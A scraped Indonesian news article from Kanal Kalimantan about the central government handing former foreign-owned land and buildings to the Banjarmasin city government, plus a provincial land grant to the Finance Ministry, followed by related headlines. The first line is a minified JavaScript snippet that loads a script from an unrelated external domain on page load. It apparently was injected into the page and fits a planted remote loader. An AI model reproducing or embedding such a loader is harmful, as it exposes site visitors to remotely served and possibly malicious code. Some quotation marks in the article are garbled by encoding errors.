(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Beberapa aset bekas milik asing yang selama ini dipegang oleh pemerintah pusat kini resmi menjadi aset milik Pemko Banajarmasin. Dua aset yang diserahkan berupa tanah dan bangunan dari Kantor Dispenda dan Dinas Pasar Banjarmasin, diserah-terimakan secara resmi oleh Direktur Jenderal Kekayaan Negara pada Walikota Banjarmasin H Ibnu Sina di Gedung Idham Khalid, Perkantoran Pemprov Kalsel, Rabu (15/11). Serah terima tersebut disaksikan Gubernur Kalsel H Sahbirin Noor.
Dalam kegiatan tersebut, juga diserah-terimakan tanah beserta bangunan kantor Golkar TK I Kalsel dari Kementerian Keuangan kepada Pemprov Kalsel serta serah terima hibah tanah untuk gedung keuangan negara dari Pemprov Kalsel kepada Kementerian Keuangan RI seluas 2 hektare.
Pada kesempatan tersebut, Gubernur Sahbirin mengatakan, hibah aset daeri pemerintah pusat ke daerah membuktikan adanya hubungan yang baik antara pemerintah pusat, Pemprov Kalsel, dan Pemko Banjarmasin.
“Kita menyumbangkan tanah 2 hektare dengan harapan tentunya pembangunannya bisa segera dilaksanakan. Sehingga Kementerian Keuangan bisa ikut mewarnai lingkungan perkantoran Pemprov Kalsel. Dan saya mendengar rencanannya gedung yang akan dibangun bertingkat, nanti akan dipertimbangkan untuk menambah luasan tanahnya menjadi 5 hektare,†ungkapnya.
Sementara Sekjen Kementerian Keuangan RI, Hardiyanto mengatakan, hibahan tanah yang diberikan Pemprov Kalsel kepada pihak kementerian sangat berarti. Mengingat, hingga saat ini pihaknya belum memiliki tanah ataupun aset yang dapat digunakan untuk membangun gedung.
“Gedung Keuangan Negara itu nantinya tidak hanya akan menyatukan Kantor Wilayah di Kementerian Keuangan saja, tetapi juga ini merupakan simbol sinergisitas antara pemerintah pusat dan pemerintah daerah. Dengan demikian, sinergi bisa berjalankan dengan baik dan dapat saling mendukung tugas masing-masing serta fungsi ke pemerintahan pusat maupun di daerah,†ujar Hardiyanto. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.